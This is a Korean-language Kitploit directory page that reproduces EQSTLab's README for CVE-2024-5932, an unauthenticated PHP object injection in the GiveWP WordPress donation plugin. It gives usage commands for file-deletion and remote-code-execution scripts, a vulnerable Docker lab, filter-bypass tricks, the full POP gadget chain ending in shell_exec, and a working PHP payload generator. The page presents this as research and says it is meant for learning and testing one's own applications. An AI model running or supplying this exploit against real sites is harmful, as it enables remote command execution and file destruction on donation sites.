Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-5932 — GiveWP PHP 객체 주입 익스플로잇 | Kitploit
도구/GitHubGitHub/eqstlab/cve-2024-5932
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP 객체 주입 익스플로잇

저장소 보기
78101년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이 게시물은 EQSTLab이 발행한 연구 문서입니다.

❗❗ 중요 ❗❗

현재 xmrig를 실행하는 가짜 PoC GitHub 저장소가 있습니다. 자세한 내용은 아래 링크를 확인하세요:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 임의 파일 삭제 및 RCE PoC ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

타임라인

8월 25일 : CVE-2024-5932 파일 삭제 PoC 업로드

8월 26일 : CVE-2024-5932를 사용하여 임의 명령 실행에 성공했지만, 그 영향력 때문에 공개를 고려 중입니다.

8월 27일 : RCE Security의 Julien Ahrens가 작성한 게시물에서 PoC에 대한 상세 분석을 확인하고 RCE PoC를 공개하기로 결정했습니다. 추가 RCE PoC를 CVE-2024-5932-rce.py로 업로드했습니다.

설명

CVE-2024-5932 : GiveWP PHP 객체 삽입 취약점 설명: WordPress용 GiveWP 기부 플러그인 및 기금 마련 플랫폼은 3.14.1을 포함한 모든 버전에서 'give_title' 파라미터의 신뢰할 수 없는 입력을 역직렬화하여 PHP 객체 삽입에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 또한 POP 체인이 존재하여 공격자가 원격으로 코드를 실행하고 임의의 파일을 삭제할 수 있습니다.

사용 방법

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

패키지 설치

root@kitploit:~
pip install -r requirements.txt

명령어

root@kitploit:~
# 임의 파일 삭제
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# 원격 코드 실행
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

예시

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

출력

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

결과

image 2

취약한 환경

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 그런 다음 취약한 GiveWP 플러그인을 다운로드합니다:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. GiveWP 플러그인 zip 파일의 압축을 풀고 전체 파일을 "/var/www/html/wp-content/plugins" 디렉토리로 복사합니다.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. GiveWP 플러그인을 활성화합니다

image

5. GiveWP 플러그인으로 새 게시물을 추가하고 게시물 링크를 복사합니다

image

6. 취약한 링크를 확인합니다

image

(선택 사항) docker 환경에서 대상 파일 설정

먼저 다음 명령어로 wordpress 셸에 접속합니다:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

파일이 root 소유인 경우 권한 문제로 삭제되지 않을 수 있습니다. 따라서 다음 명령어로 테스트 파일의 소유권을 변경해야 합니다:

root@kitploit:~
touch test && chown www-data test

image

PHPSTORM을 통한 디버깅

PHPSTORM을 사용하여 GiveWP를 디버깅할 수 있습니다.

1. wordpress(Docker)에 xdebug를 다운로드합니다:

root@kitploit:~
pecl install xdebug

2. 그런 다음 wordpress의 php.ini 파일을 다음과 같이 설정합니다(Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..그러면 wordpress를 디버깅할 수 있습니다.

3. PHPSTORM을 다음과 같이 설정합니다(Local):

image image

4. PHPSTORM 예시 (예: TCPDF 임의 파일 삭제)

image

분석

취약 지점 (includes/payments/class-give-payment.php)

이 지점에서 get_meta() 함수는 이전에 저장된 "give_title" 값을 역직렬화합니다.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

우회 기법

strip_tags: nullbytes 대체 -> \0 사용

stripslashes_deep: 백슬래시 대체 -> \\\\ 사용

RCE를 위한 POP 체이닝

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (명령 문자열 반환)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

공격 시나리오

POP 체인을 통한 RCE

POP 체인을 통해 원격 명령 실행이 가능합니다. image

임의 파일 삭제

TCPDF를 사용하면 임의 파일 삭제를 악용할 수 있습니다.

면책 조항

이 저장소는 CVE-2024-5932에 대한 객체 삽입 공격을 목적으로 하지 않습니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 학습하고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.

EQST 인사이트

저희는 매월 CVE 및 악성코드 분석을 발행합니다. 관심이 있으시면 아래 링크를 통해 발행물을 확인해 주세요. https://www.skshieldus.com/eng/business/insight.do

참고 자료

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

도구 다운로드